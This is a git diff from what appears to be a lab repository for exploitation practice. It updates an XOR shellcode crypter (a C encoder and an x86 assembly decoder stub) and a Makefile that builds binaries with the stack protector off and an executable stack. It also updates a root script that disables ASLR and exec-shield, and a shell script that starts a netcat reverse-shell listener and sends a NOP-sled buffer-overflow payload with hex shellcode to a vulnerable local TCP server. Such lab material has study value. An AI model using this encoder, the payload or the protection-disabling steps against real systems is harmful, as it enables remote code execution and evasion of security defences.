diff options
-rw-r--r-- | Makefile | 41 | ||||
-rw-r--r-- | crypter/Makefile | 1 | ||||
-rw-r--r-- | crypter/xor2_decoder.asm | 63 | ||||
-rw-r--r-- | crypter/xor2_encoder.c | 129 | ||||
-rwxr-xr-x | disable_prot.sh | 11 | ||||
-rwxr-xr-x | exploit_tcp.sh | 3 |
6 files changed, 159 insertions, 89 deletions
@@ -4,16 +4,19 @@ RM := rm CC := gcc STRIP := strip LBITS := $(shell getconf LONG_BIT) -CFLAGS = -Wall -g -OCFLAGS = -z execstack -fno-stack-protector +CFLAGS += -Wall +OCFLAGS += -z execstack -fno-stack-protector X86_FLAGS = -m32 -mpreferred-stack-boundary=2 X64_FLAGS = -m64 -mpreferred-stack-boundary=4 SOURCES = $(wildcard *.c) -TARGETS = $(patsubst %.c,%.o,$(SOURCES)) +TARGETS = $(patsubst %.c,%,$(SOURCES)) -all: $(SOURCES) $(TARGETS) shellcode crypter post-build +all: $(TARGETS) shellcode crypter -main: $(SOURCES) $(TARGETS) +main: $(TARGETS) + +debug: + $(MAKE) -C . CFLAGS="-g" shellcode: $(MAKE) -C shellcode all @@ -21,34 +24,16 @@ shellcode: crypter: $(MAKE) -C crypter all -post-build: - @read -p "disable protection stuff? (y/N) " answ; \ - if [ "x$$answ" != "xy" ]; then \ - echo "abort .."; \ - return 0; \ - else \ - ./disable_prot.sh; \ - fi - -disable-prot: - if [ `cat /proc/sys/kernel/randomize_va_space` -eq 0 ]; then \ - echo "not necessary to run ./disable_prot.sh"; \ - else \ - ./disable_prot.sh; \ - fi - -%.o : %.c - $(CC) $(CFLAGS) $(X86_FLAGS) $(OCFLAGS) -o $(patsubst %.o,%,$@) $< +% : %.c + $(CC) $(CFLAGS) $(X86_FLAGS) $(OCFLAGS) -o $@ $< ifeq ($(LBITS),64) - -$(CC) $(CFLAGS) $(X64_FLAGS) $(OCFLAGS) -o $(patsubst %.o,%,$@)_x64 $< + -$(CC) $(CFLAGS) $(X64_FLAGS) $(OCFLAGS) -o $@_x64 $< endif - ln -s $< $@ clean: $(RM) -f *.o - $(RM) -f $(patsubst %.o,%,$(TARGETS)) $(patsubst %.c,%_x64,$(wildcard *.c)) - $(RM) -f $(TARGETS) + $(RM) -f $(TARGETS) $(patsubst %,%_x64,$(TARGETS)) $(MAKE) -C crypter clean $(MAKE) -C shellcode clean -.PHONY: shellcode crypter clean +.PHONY: all main shellcode crypter clean diff --git a/crypter/Makefile b/crypter/Makefile index db41478..077f1c6 100644 --- a/crypter/Makefile +++ b/crypter/Makefile @@ -37,6 +37,7 @@ endif clean: $(RM) -f *.o $(RM) -f $(patsubst %.c,%,$(SOURCES_C)) $(patsubst %.c,%_x64,$(SOURCES_C)) + $(RM) -f $(patsubst %.c,%.h,$(SOURCES_C)) $(RM) -f $(patsubst %.asm,%.o,$(SOURCES_ASM)) .PHONY: all clean diff --git a/crypter/xor2_decoder.asm b/crypter/xor2_decoder.asm index cc102b2..5e10224 100644 --- a/crypter/xor2_decoder.asm +++ b/crypter/xor2_decoder.asm @@ -1,22 +1,61 @@ BITS 32 +; plain x86 | trailer +; --------------------------------------------------------------------------------------------- +; | decoder | 2 byte shellcode len | 1 byte xor key len | xor key (xor key len) | shellcode | +; ----------------[XOR ENCODED]--------------------------------------------------[XOR ENCODED]- +; | Reg: cx | Reg: dl | [esi]+3+dh | [esi]+3+dl+ebx + jmp short go next: -pop esi ; stackpointer -> start+len(encoder) -xor ecx,ecx ; zero out some regs -xor eax,eax +pop esi ; get stackpointer := start+sizeof(decoder) + +xor ecx,ecx +mov word cx,[esi] ; shellcode len (encoded) +xor word cx,0x0101 ; decode shellcode len + +; dh := xor pad +; dl := xor key len xor edx,edx -mov cl,0 ; buffer length -mov dl,4 ; xor padding +mov byte dl,[esi+2] + +xor ebx,ebx ; zero out change: -xor byte [esi + ecx],0 -mov byte al,[esi + ecx] -dec cl -jnz done ; no more bytes left -dec dh -jnz change -mov dh,dl +; calc memory location +mov eax,esi +push dword eax +add dword [esp],0x3 ; shellcode len (2 bytes) + xor key len (1 byte) +movzx eax,dl +add [esp],eax +add [esp],ebx +pop dword eax ; eax holds the pointer to our next encoded byte + +mov edi,eax + +mov eax,esi ; <----- DBG +push dword eax +add dword [esp],0x3 ; see above +movzx eax,dh +add [esp],eax +pop dword eax ; al holds the xor 1-byte-pad +; TODO: not rly efficient, change it! +push dword esi ; save our trailer pointer +mov esi,[eax] +xor eax,eax +;mov byte al,esi +pop dword esi ; get our trailer pointer + +xor byte [edi],al + +inc ebx +cmp ebx,ecx +je done ; no more bytes left + +inc dh ; next xor 1-byte-pad +cmp dh,dl ; check if xor pad == xor len +jne change +xor byte dh,dh jmp change done: diff --git a/crypter/xor2_encoder.c b/crypter/xor2_encoder.c index cc46592..fc3f904 100644 --- a/crypter/xor2_encoder.c +++ b/crypter/xor2_encoder.c @@ -1,4 +1,4 @@ -// #DECODER=./xor_decoder.o +// #DECODER=./xor2_decoder.o // #SHELLCODE=../shellcode/hello.o #define _GNU_SOURCE 1 @@ -6,7 +6,10 @@ #include <string.h> #include <sys/time.h> #include <stdlib.h> +#include <stdint.h> #include <unistd.h> +#include <limits.h> +#include <byteswap.h> #ifdef _USE_CFG #include "xor2_encoder.h" @@ -14,17 +17,17 @@ #error "xor2_encoder.h config file missing including decoder && shellcode" #endif -#ifndef _CRYPTVAL -#define _CRYPTVAL 0xff -#endif +#define XOR_KEYLEN 5 +#define SCLEN_XORKEY 0x0101 +#define TRAILER 3 #ifndef _OUTFILE #define _OUTFILE "xor2_encoded.o" #endif -int -getnumber(int n) +long int +getnumber(long int n) { int seed; struct timeval tm; @@ -36,11 +39,11 @@ getnumber(int n) } void -print_code(const char *name, char *data, int len) +print_code(const char *name, char *data, size_t len) { int i,l = 15; - printf("unsigned long int l%s = %lu;\nchar %s[] = \n", name, (unsigned long int) strlen(data), name); + printf("unsigned long int l%s = %lu;\nchar %s[] = \n", name, (unsigned long int) len, name); for (i = 0; i < len; i++) { if (l >= 15) { if (i) { @@ -55,6 +58,52 @@ print_code(const char *name, char *data, int len) printf("\";\n\n"); } +long int +eof_check(char *data, size_t len) +{ + long int i; + + for (i = 0; i < len; i++) { + if ( *(char *)(data + i) == '\0' ) { + return i; + } + } + return -1; +} + +char * +xor_genkey(size_t keylen) +{ + char *key; + long int kd, rnd; + int i = 0; + + key = calloc(sizeof(char), keylen); + while (i+sizeof(long int) < keylen) { + rnd = getnumber(LONG_MAX); + memcpy(&key[i], &rnd, sizeof(long int)); + i += sizeof(long int); + } + kd = keylen - i; + if ( kd != 0 ) { + rnd = getnumber(LONG_MAX); + memcpy(&key[i], &rnd, kd); + } + return key; +} + +void +xor_encrypt(char *buf, size_t buflen, char *key, size_t keylen) +{ + int i; + unsigned char xb; + + for (i = 0; i < buflen; i++) { + xb = key[i % keylen]; + buf[i] ^= xb; + } +} + void err_n_xit(const char *exit_msg, const char *arg) { @@ -74,66 +123,54 @@ err_n_xit(const char *exit_msg, const char *arg) int main(int argc, char **argv) { - int i, npos = 0, number = getnumber(_CRYPTVAL), nullbyte = 0; + int nullbyte = 0; + long int nb_idx; int ldecoder = sizeof(decoder)-1; /* last byte is '\x00' */ - int lshellcode = sizeof(shellcode)-1; /* same as above */ - int first_arg = 1; - char *result; + uint16_t lshellcode = (uint16_t) sizeof(shellcode)-1; /* same as above */ + char *result, *mod_decoder, *xor_key; FILE *outfile; - printf("/* Using value %d to encode the shellcode. */\n", number); printf("/* PRINT SHELLCODE */\n"); print_code("shellcode", shellcode, lshellcode); printf("/* PRINT DECODER */\n"); print_code("decoder", decoder, ldecoder); - for (i = 0; i < ldecoder; i++) { - if (decoder[i] == '\x00') { - if (first_arg) { - decoder[i] = lshellcode; - first_arg = 0; - } else { - decoder[i] = (unsigned char) number; - npos = i; - } - printf("// decoder[%d] = %u (%02x)\n", i, (unsigned char) decoder[i], (unsigned char) decoder[i]); - } + mod_decoder = malloc(ldecoder + TRAILER); // buffer size (2 bytes) + xor key len (1 byte) + memcpy(mod_decoder, decoder, ldecoder); + *(uint16_t *) (&mod_decoder[ldecoder]) = (uint16_t) (lshellcode ^ SCLEN_XORKEY); + *(uint8_t *) (&mod_decoder[ldecoder+2]) = (uint8_t) XOR_KEYLEN; + printf("/* shellcode length: decoder[%u] = %u bytes ^ 0x%04x = 0x%04x */\n", lshellcode, mod_decoder[ldecoder], SCLEN_XORKEY, *(uint16_t *) &mod_decoder[ldecoder]); + printf("/* xor key length: decoder[%u] = %u bytes = 0x%02x */\n", ldecoder+2, mod_decoder[ldecoder+2], mod_decoder[ldecoder+2]); + + if ( (nb_idx = eof_check(mod_decoder , ldecoder+3)) != -1) { + printf("NULLBYTE DETECTED: decoder+0x%04x (%lu)\n", (unsigned int) nb_idx, nb_idx); + exit(-1); } - printf("\n"); - result = malloc(lshellcode); + result = calloc(ldecoder + lshellcode + TRAILER + XOR_KEYLEN, sizeof(char)); + printf("/* total length = %d */\n", ldecoder + lshellcode + TRAILER + XOR_KEYLEN); + memcpy(result, mod_decoder, ldecoder + TRAILER); + free(mod_decoder); do { - memcpy(result, shellcode, lshellcode); + xor_key = xor_genkey(XOR_KEYLEN); + memcpy(result + ldecoder + TRAILER, xor_key, XOR_KEYLEN); + memcpy(result + ldecoder + TRAILER + XOR_KEYLEN, shellcode, lshellcode); + xor_encrypt(result + ldecoder + TRAILER + XOR_KEYLEN, lshellcode, xor_key, XOR_KEYLEN); + print_code("xor", xor_key, XOR_KEYLEN); if (nullbyte == 1) { - number = getnumber(_CRYPTVAL); - fprintf(stderr, "New crypt value: %d (%02x)\n", number, number); - decoder[npos] = number; nullbyte = 0; } - for (i = 0; i < lshellcode; i++) { - result[i] ^= number; - if (result[i] == '\x00') { - nullbyte = 1; - fprintf(stderr, "Recode!\n"); - break; - } - } + free(xor_key); } while (nullbyte == 1); - memcpy(shellcode, result, lshellcode); - free(result); - result = malloc(ldecoder + lshellcode + 1); - memcpy(result, (const void *) decoder, ldecoder); - memcpy(result + ldecoder, shellcode, lshellcode); - *(result + ldecoder + lshellcode) = '\0'; - print_code("result", result, ldecoder + lshellcode); + print_code("result", result, ldecoder + lshellcode + TRAILER + XOR_KEYLEN); /* write2file */ outfile = fopen(_OUTFILE, "w+b"); if (outfile == NULL) err_n_xit("fopen", _OUTFILE); - if (fwrite((void *) result, sizeof(char), strlen(result), outfile) != strlen(result)) err_n_xit("fwrite", _OUTFILE); + if (fwrite((void *) result, sizeof(char), ldecoder + lshellcode + TRAILER + XOR_KEYLEN, outfile) != (ldecoder + lshellcode + TRAILER + XOR_KEYLEN)) err_n_xit("fwrite", _OUTFILE); if (fclose(outfile) != 0) err_n_xit("fclose", _OUTFILE); fprintf(stderr, "outfile: %s\n", _OUTFILE); diff --git a/disable_prot.sh b/disable_prot.sh index 15e8137..dba1bc0 100755 --- a/disable_prot.sh +++ b/disable_prot.sh @@ -1,12 +1,19 @@ #!/bin/bash if [ `id -u` -ne 0 ]; then - echo "$0: This program should be run as root" + echo "$0: This script should be run as root." echo "$0: Try to get root .." - su -l root -c "$(realpath $0)" + su -l root -c "$(readlink -f $0)" exit $? fi +cat /proc/cpuinfo | grep -oq pae 2>/dev/null >/dev/null +ret=$? +if [ $ret -eq 0 ]; then + echo "$0: PAE enabled system found." + echo "$0: Some exploits will not work!" +fi + sysctl -w kernel.randomize_va_space=0 2>/dev/null sysctl -w kernel.exec-shield=0 2>/dev/null echo "done." diff --git a/exploit_tcp.sh b/exploit_tcp.sh index 106489d..aecfe2c 100755 --- a/exploit_tcp.sh +++ b/exploit_tcp.sh @@ -7,7 +7,7 @@ # 79xNOP (0x90) + shellcode + 79xNOP (0x90) + return addr echo "starting netcat reverse tcp server .." -screen -d -m -S overcat /bin/netcat -l -s 127.0.0.1 -p 4444 +screen -c /dev/null -d -m -S overcat /bin/netcat -l -s 127.0.0.1 -p 4444 sleep 1 echo "starting exploitable tcp server .." ./overflow_tcp & @@ -25,5 +25,6 @@ python -c 'print "\x90"*79 + \ "\x29\x3e\x5d\x96\xe6\xc9\x40\xa7\x02\x07\x02\xf9\xcf\xfd" + \ "\x03\xa2\x22\x81" + \ "\x90"*83 + "\x9d\xd4\xff\xff"' | nc -q 0 "$host" 3000 +read -p "[PRESS RETURN TO CONTINUE]" screen -R overcat |